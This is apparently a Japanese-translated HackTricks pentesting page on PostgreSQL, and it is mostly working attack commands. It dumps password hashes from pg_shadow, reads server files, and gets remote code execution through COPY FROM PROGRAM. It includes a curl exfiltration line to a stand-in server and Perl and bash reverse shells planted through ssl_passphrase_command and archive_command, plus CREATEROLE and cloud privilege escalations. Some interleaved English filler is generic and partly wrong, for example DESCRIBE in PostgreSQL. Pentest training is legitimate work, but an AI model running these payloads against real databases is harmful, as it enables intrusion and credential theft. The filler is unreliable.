hacktricks/network-services-pentesting/pentesting-postgresql.md

46 KiB
Raw Blame History

5432,5433 - PostgreSQLのペンテスト


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

PostgreSQLは、SQL言語を使用しているオープンソースのオブジェクト関係データベースシステムです。

デフォルトポート: 5432で、このポートが既に使用されている場合、おそらく使用されていない次のポートおそらく5433がpostgresqlに使用されます。

PORT     STATE SERVICE
5432/tcp open  pgsql

接続と基本的な列挙

Connect to PostgreSQL

PostgreSQLへの接続

To connect to a PostgreSQL database, you can use the psql command-line tool or any PostgreSQL client application. The psql tool is commonly used and comes pre-installed with PostgreSQL.

PostgreSQLデータベースに接続するには、psqlコマンドラインツールまたは任意のPostgreSQLクライアントアプリケーションを使用できます。psqlツールは一般的に使用され、PostgreSQLと一緒に事前にインストールされています。

To connect using psql, open a terminal and run the following command:

psql -h <host> -p <port> -U <username> -d <database>

Replace <host>, <port>, <username>, and <database> with the appropriate values for your PostgreSQL server.

psqlを使用して接続するには、ターミナルを開き、次のコマンドを実行します。

psql -h <ホスト> -p <ポート> -U <ユーザ名> -d <データベース>

<ホスト><ポート><ユーザ名>、および<データベース>を、PostgreSQLサーバーの適切な値に置き換えてください。

Basic Enumeration

基本的な列挙

Once connected to the PostgreSQL server, you can perform basic enumeration to gather information about the database.

PostgreSQLサーバーに接続したら、基本的な列挙を実行してデータベースに関する情報を収集することができます。

List Databases

データベースの一覧表示

To list all the databases in the PostgreSQL server, use the following command:

\l

PostgreSQLサーバーのすべてのデータベースを一覧表示するには、次のコマンドを使用します。

\l

Switch Database

データベースの切り替え

To switch to a specific database, use the following command:

\c <database>

Replace <database> with the name of the database you want to switch to.

特定のデータベースに切り替えるには、次のコマンドを使用します。

\c <データベース>

<データベース>を切り替えたいデータベースの名前に置き換えてください。

List Tables

テーブルの一覧表示

To list all the tables in the current database, use the following command:

\dt

現在のデータベースのすべてのテーブルを一覧表示するには、次のコマンドを使用します。

\dt

Describe Table

テーブルの説明

To describe the structure of a specific table, use the following command:

\d <table>

Replace <table> with the name of the table you want to describe.

特定のテーブルの構造を説明するには、次のコマンドを使用します。

\d <テーブル>

<テーブル>を説明したいテーブルの名前に置き換えてください。

Execute SQL Queries

SQLクエリの実行

You can execute SQL queries directly from the psql prompt. Simply type your SQL query and press Enter to execute it.

psqlプロンプトから直接SQLクエリを実行することができます。SQLクエリを入力し、Enterキーを押して実行します。

For example, to retrieve all records from a table, you can use the following command:

たとえば、テーブルからすべてのレコードを取得するには、次のコマンドを使用します。

SELECT * FROM <table>;

Replace <table> with the name of the table you want to retrieve records from.

<table>をレコードを取得したいテーブルの名前に置き換えてください。

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
Select user;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

{% hint style="warning" %} \list を実行して、rdsadmin というデータベースが見つかった場合、AWSのPostgreSQLデータベース内にいることがわかります。 {% endhint %}

PostgreSQLデータベースを悪用する方法の詳細については、以下を参照してください:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}

自動列挙

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

ブルートフォース

ポートスキャン

この研究によると、接続試行が失敗すると、dblinksqlclient_unable_to_establish_sqlconnectionという例外をスローし、エラーの説明を含めます。以下に、これらの詳細の例を示します。

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • ホストがダウンしています

詳細: サーバーに接続できませんでした: ホスト "1.2.3.4" 上で TCP/IP 接続を受け入れているポート 5678 でサーバーが実行されていますか?

  • ポートが閉じています
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • ポートが開いています
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

または

DETAIL:  FATAL:  password authentication failed for user "name"
  • ポートが開いているかフィルタリングされています。
DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

残念ながら、PL/pgSQL関数内で例外の詳細を取得する方法はありません。ただし、PostgreSQLサーバーに直接接続できれば、詳細を取得することができます。システムテーブルから直接ユーザ名とパスワードを取得することができない場合は、前のセクションで説明したワードリスト攻撃が成功する可能性があります。

特権の列挙

ロール

ロールの種類
rolsuper ロールにはスーパーユーザー特権があります
rolinherit ロールは、そのメンバーであるロールの特権を自動的に継承します
rolcreaterole ロールは他のロールを作成できます
rolcreatedb ロールはデータベースを作成できます
rolcanlogin ロールはログインできます。つまり、このロールは初期セッション認証識別子として与えることができます
rolreplication ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除することができます。
rolconnlimit ログインできるロールの場合、この設定はこのロールが作成できる同時接続の最大数を設定します。-1は制限なしを意味します。
rolpassword パスワードではありません(常に********と表示されます)
rolvaliduntil パスワードの有効期限パスワード認証にのみ使用される。期限がない場合はnullです。
rolbypassrls ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については、セクション5.8を参照してください。
rolconfig 実行時設定変数のロール固有のデフォルト
oid ロールのID

興味深いグループ

  • もし**pg_execute_server_program**のメンバーであれば、プログラムを実行できます
  • もし**pg_read_server_files**のメンバーであれば、ファイルを読み取ることができます
  • もし**pg_write_server_files**のメンバーであれば、ファイルを書き込むことができます

{% hint style="info" %} Postgresでは、ユーザーグループロール同じものです。それは単に使用方法ログインを許可するかどうかに依存します。 {% endhint %}

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

テーブル

In PostgreSQL, a table is a collection of related data organized in rows and columns. It is the fundamental structure used to store and manipulate data in a database.

PostgreSQLでのテーブルは、行と列で構成される関連データの集合です。データベース内でデータを格納し、操作するための基本的な構造です。

Creating a Table

To create a table in PostgreSQL, you can use the CREATE TABLE statement followed by the table name and a list of column definitions. Each column definition specifies the name, data type, and any constraints for the column.

テーブルを作成するには、PostgreSQLでは、CREATE TABLEステートメントを使用し、テーブル名と列の定義のリストを指定します。各列の定義では、列の名前、データ型、および制約を指定します。

Here is an example of creating a table called users with three columns: id, name, and email.

以下は、idnameemailの3つの列を持つusersというテーブルを作成する例です。

CREATE TABLE users (
  id SERIAL PRIMARY KEY,
  name VARCHAR(50) NOT NULL,
  email VARCHAR(100) UNIQUE
);

Modifying a Table

Once a table is created, you can modify it using the ALTER TABLE statement. This allows you to add, modify, or delete columns, as well as add or remove constraints.

テーブルが作成されたら、ALTER TABLEステートメントを使用して変更することができます。これにより、列の追加、変更、削除、および制約の追加や削除が可能です。

Here are some examples of modifying a table:

以下は、テーブルを変更する例です。

  • Adding a new column:

    ALTER TABLE users ADD COLUMN age INTEGER;
    
  • Modifying a column's data type:

    ALTER TABLE users ALTER COLUMN email TYPE VARCHAR(150);
    
  • Deleting a column:

    ALTER TABLE users DROP COLUMN age;
    

Dropping a Table

To delete a table and all its data, you can use the DROP TABLE statement followed by the table name.

テーブルとそのデータを削除するには、DROP TABLEステートメントを使用し、テーブル名を指定します。

Here is an example of dropping a table:

以下は、テーブルを削除する例です。

DROP TABLE users;

Viewing Table Structure

To view the structure of a table, you can use the \d command in the PostgreSQL command-line interface (CLI) or the DESCRIBE statement in SQL.

テーブルの構造を表示するには、PostgreSQLのコマンドラインインターフェースCLI\dコマンドを使用するか、SQLでDESCRIBEステートメントを使用します。

Here is an example of viewing the structure of the users table:

以下は、usersテーブルの構造を表示する例です。

\d users

or

DESCRIBE users;

This will display the column names, data types, and any constraints for each column in the table.

これにより、テーブルの各列の列名、データ型、および制約が表示されます。

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

関数

Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values.

PostgreSQL provides a wide range of built-in functions that can be used for various purposes, such as mathematical calculations, string manipulation, date and time operations, and more. These functions can be called directly in SQL queries or used within other functions.

In addition to the built-in functions, PostgreSQL also allows users to create their own custom functions. Custom functions can be written in various programming languages, including SQL, PL/pgSQL, PL/Python, PL/Perl, and more. This flexibility allows developers to extend the functionality of PostgreSQL and create custom solutions tailored to their specific needs.

When performing a penetration test on a PostgreSQL database, it is important to identify and analyze the functions that are exposed by the database. By understanding the functionality and behavior of these functions, a penetration tester can identify potential vulnerabilities and security risks.

During the penetration testing process, it is common to look for functions that may be vulnerable to SQL injection attacks, buffer overflows, or other types of code execution vulnerabilities. By exploiting these vulnerabilities, an attacker may be able to gain unauthorized access to the database, extract sensitive information, or perform other malicious actions.

To identify and analyze the functions in a PostgreSQL database, a penetration tester can use various techniques and tools. These may include manual inspection of the database schema, analyzing the source code of the application that interacts with the database, or using automated scanning tools that can identify potential vulnerabilities.

Once the functions have been identified, a penetration tester can further analyze their behavior and functionality. This may involve analyzing the input and output parameters of the functions, testing for potential security vulnerabilities, or analyzing the underlying code to identify any potential weaknesses.

By thoroughly analyzing the functions in a PostgreSQL database, a penetration tester can gain a deeper understanding of the database's security posture and identify potential vulnerabilities that could be exploited by an attacker. This knowledge can then be used to develop appropriate mitigation strategies and strengthen the overall security of the database.

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

ファイルシステムの操作

ディレクトリとファイルの読み取り

このcommitから、DEFAULT_ROLE_READ_SERVER_FILESグループ(pg_read_server_filesと呼ばれる)のメンバーとスーパーユーザーは、任意のパスで**COPY**メソッドを使用することができます(genfile.cconvert_and_check_filenameをチェックしてください)。

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

{% hint style="warning" %} スーパーユーザーではないが、CREATEROLE 権限を持っている場合、自分自身をそのグループのメンバーにすることができます:

GRANT pg_read_server_files TO username;

詳細情報 {% endhint %}

他のpostgres関数を使用して、ファイルを読み取るかディレクトリをリストすることができます。これらの関数は、スーパーユーザーおよび明示的な権限を持つユーザーのみが使用できます。

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

さらに多くの関数https://www.postgresql.org/docs/current/functions-admin.htmlで見つけることができます。

簡単なファイル書き込み

ファイルの書き込みには、スーパーユーザーと**pg_write_server_files**のメンバーのみがcopyを使用できます。

{% code overflow="wrap" %}

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

{% endcode %}

{% hint style="warning" %} 覚えておいてください。スーパーユーザーではない場合でも、CREATEROLE 権限を持っている場合は、そのグループのメンバーになることができます:

GRANT pg_write_server_files TO username;

詳細情報 {% endhint %}

COPYは改行文字を処理できないため、ベース64ペイロードを使用していても、1行のコマンドを送信する必要があります
このテクニックの非常に重要な制限は、copyはバイナリファイルの書き込みに使用できないため、一部のバイナリ値を変更します。

バイナリファイルのアップロード

ただし、大きなバイナリファイルをアップロードするための他のテクニックがあります:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}

バグバウンティのヒントIntigritiサインアップしてください。これは、ハッカーによって作成されたプレミアムなバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

RCE

プログラムへのRCE

バージョン9.3以降、RCEにはスーパーユーザーと**pg_execute_server_program**グループのメンバーのみがcopyを使用できます情報の外部流出

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

実行の例:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

{% hint style="warning" %} スーパーユーザーではないが、CREATEROLE 権限を持っている場合、そのグループのメンバーに自分自身を追加することができます:

GRANT pg_execute_server_program TO username;

詳細はこちら {% endhint %}

または、metasploitmulti/postgres/postgres_copy_from_program_cmd_execモジュールを使用します。この脆弱性についての詳細はこちらを参照してください。CVE-2019-9193として報告されていますが、Postgesはこれを機能として修正しないと宣言しました。

PostgreSQL言語を使用したRCE

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}

PostgreSQL拡張機能を使用したRCE

前の投稿からバイナリファイルのアップロード方法を学んだ後、PostgreSQL拡張機能をアップロードしてロードすることでRCEを取得することができます。

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}

PostgreSQL設定ファイルRCE

PostgreSQLの設定ファイルは、データベースを実行しているpostgresユーザーによって書き込み可能です。したがって、スーパーユーザーとしてファイルシステムにファイルを書き込むことができ、したがってこのファイルを上書きすることができます。

ssl_passphrase_commandを使用したRCE

設定ファイルには、RCEにつながる可能性のあるいくつかの興味深い属性があります。

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' データベースのプライベートキーへのパス
  • ssl_passphrase_command = '' プライベートファイルがパスワードで保護されている場合暗号化されている場合、postgresqlはこの属性で指定されたコマンドを実行します。
  • ssl_passphrase_command_supports_reload = off この属性がonの場合、キーがパスワードで保護されている場合に実行されるコマンドは、pg_reload_conf()実行されたときに実行されます

したがって、攻撃者は次の手順を実行する必要があります:

  1. サーバーからプライベートキーをダンプする
  2. ダウンロードしたプライベートキーを暗号化する:rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
  3. 上書きする
  4. 現在のpostgresqlの設定ダンプする
  5. 上記の属性設定で設定上書きする:
    • ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
    • ssl_passphrase_command_supports_reload = on
  6. pg_reload_conf()を実行する

これをテストしてみたところ、プライベートキーファイルが640の権限を持ちrootが所有し、グループssl-certまたはpostgrespostgresユーザーが読み取れるようにである必要があることがわかりました。また、_ /var/lib/postgresql/12/main_に配置されている必要があります。

このテクニックについての**詳細はこちら**を参照してください。

archive_commandを使用したRCE

設定ファイルのもう1つの攻撃可能な属性はarchive_commandです。

これを動作させるには、archive_mode設定が'on'または'always'である必要があります。それが真である場合、archive_commandのコマンドを上書きして、WALWrite-Ahead Logging操作を介して実行することができます。

一般的な手順は次のとおりです:

  1. アーカイブモードが有効かどうかを確認する:SELECT current_setting('archive_mode')
  2. ペイロードでarchive_commandを上書きする。例えば、リバースシェル:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
  3. 設定をリロードする:SELECT pg_reload_conf()
  4. WAL操作を強制的に実行し、アーカイブコマンドを呼び出すSELECT pg_switch_wal()または一部のPostgresバージョンではSELECT pg_switch_xlog()

この設定とWALに関する**詳細はこちら**を参照してください。

Postgres Privesc

CREATEROLE Privesc

Grant

ドキュメントによると、**CREATEROLE**権限を持つロールは、スーパーユーザーではない****任意のロールのメンバーシップを付与または取り消すことができます。

したがって、CREATEROLE権限がある場合、他のロール(スーパーユーザーではない)へのアクセス権限を自分自身に付与することができ、ファイルの読み書きやコマンドの実行などのオプションを得ることができます。

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

パスワードの変更

この役割を持つユーザーは、他の非スーパーユーザーパスワード変更することもできます。

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

SUPERUSERへの昇格

ローカルユーザーがパスワードを入力せずにPostgreSQLにログインできることは非常に一般的です。したがって、コードの実行権限を取得した後は、これらの権限を悪用してSUPERUSERロールを取得することができます。

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

{% hint style="info" %} これは通常、pg_hba.conf ファイル内の次の行によって可能になります:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

{% endhint %}

ALTER TABLEの特権昇格

この解説記事では、Postgres GCPでALTER TABLEの特権を悪用して特権昇格が可能であった方法が説明されています。

通常、別のユーザーをテーブルの所有者にすることはエラーが発生するはずですが、どうやらGCPでは非スーパーユーザーのpostgresユーザーにそのオプションが与えられていました。

この考えを、インデックス関数を持つテーブルに対してINSERT/UPDATE/ANALYZEコマンドが実行されると、その関数がコマンドの一部として所有者の権限で呼び出されるという事実と結びつけると、テーブルに対して関数を持つインデックスを作成し、そのテーブルに対して所有者の特権を持つスーパーユーザーに与え、その後、悪意のある関数を使用してテーブル上でANALYZEを実行することが可能です。この悪意のある関数は所有者の特権を使用してコマンドを実行することができます。

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

悪用

  1. 新しいテーブルを作成します。
  2. テーブルにいくつかのダミーコンテンツを挿入し、インデックス関数が処理するものを用意します。
  3. テーブルに悪意のあるインデックス関数(コード実行ペイロードを含む)を作成します。
  4. テーブルの所有者を cloudsqladmin に変更します。これはGCPのスーパーユーザーロールであり、Cloud SQLがデータベースを維持および管理するために使用されます。
  5. テーブルをANALYZEし、PostgreSQLエンジンがユーザーコンテキストをテーブルの所有者cloudsqladminに切り替え、cloudsqladminの権限で悪意のあるインデックス関数を呼び出すことで、以前に実行する権限がなかったシェルコマンドを実行します。

PostgreSQLでは、このフローは次のようになります

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

実行したエクスプロイトSQLクエリの後、shell_commands_resultsテーブルには実行されたコードの出力が含まれています。

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

ローカルログイン

一部の設定ミスのあるPostgreSQLインスタンスでは、任意のローカルユーザーのログインが許可される場合があります。dblink関数を使用して、127.0.0.1からローカルログインすることが可能です。

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'Select usename,passwd from pg_shadow')
RETURNS (result TEXT);

{% hint style="warning" %} 前のクエリが動作するためには、dblink関数が存在する必要があります。存在しない場合は、以下のコマンドで作成してみることができます。

CREATE EXTENSION dblink;

{% endhint %}

もし特権を持つユーザーのパスワードを持っているが、そのユーザーは外部IPからのログインが許可されていない場合、以下の関数を使用してそのユーザーとしてクエリを実行することができます。

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'Select usename,passwd from pg_shadow')
RETURNS (result TEXT);

この関数が存在するかどうかを確認することができます。以下の方法で確認できます。

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

SECURITY DEFINERを持つカスタム定義関数

この解説記事では、IBMが提供するPostgreSQLインスタンス内で、ペンテスターがSECURITY DEFINERフラグを持つこの関数を見つけたため、特権昇格が可能になりました。

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

ドキュメントで説明されているようにSECURITY DEFINERを持つ関数は、それを所有するユーザーの特権で実行されます。したがって、関数がSQLインジェクションの脆弱性を持っているか、攻撃者が制御するパラメータで特権のあるアクションを実行している場合、PostgreSQL内で特権昇格が悪用される可能性があります。

前のコードの4行目で、関数にはSECURITY DEFINERフラグがあることがわかります。

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

そして、コマンドを実行します:

PL/pgSQLを使用したパスワードのブルートフォース攻撃

PL/pgSQLは、完全な機能を備えたプログラミング言語であり、SQLよりもはるかに手続き的な制御が可能です。ループや他の制御構造を使用することができます。SQL文やトリガーは、PL/pgSQL言語で作成された関数を呼び出すことができます。
この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォース攻撃させることができます。

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

ロギング

postgresql.conf ファイルの中で、以下の設定を変更することで、PostgreSQLのログを有効にすることができます。

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

次に、サービスを再起動してください。

pgadmin

pgadminは、PostgreSQLの管理および開発プラットフォームです。
_pgadmin4.db_ファイルの中にはパスワードが含まれています。
スクリプト内の_decrypt_関数を使用して、それらを復号化することができますhttps://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

クライアント認証は、pg_hba.conf という名前の設定ファイルで制御されます。このファイルには、いくつかのレコードがあります。レコードは次の7つの形式のいずれかを持つことができます。

レコードは、接続タイプクライアントのIPアドレス範囲(接続タイプに関連する場合)、データベース名ユーザ名、およびこれらのパラメータに一致する接続に使用される認証方法を指定します。認証を実行するためには、一致する接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザ名を持つ最初のレコードが使用されます。 "フォールスルー"や"バックアップ"はありません:1つのレコードが選択され、認証が失敗した場合、後続のレコードは考慮されません。一致するレコードがない場合、アクセスは拒否されます。
パスワードベースの認証方法は、md5crypt、およびpasswordです。これらの方法は、パスワードが接続を介して送信される方法を除いて、同様に動作しますそれぞれ、MD5ハッシュ、crypt暗号化、およびクリアテキストです。制限として、cryptメソッドはpg_authidで暗号化されたパスワードでは機能しません。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}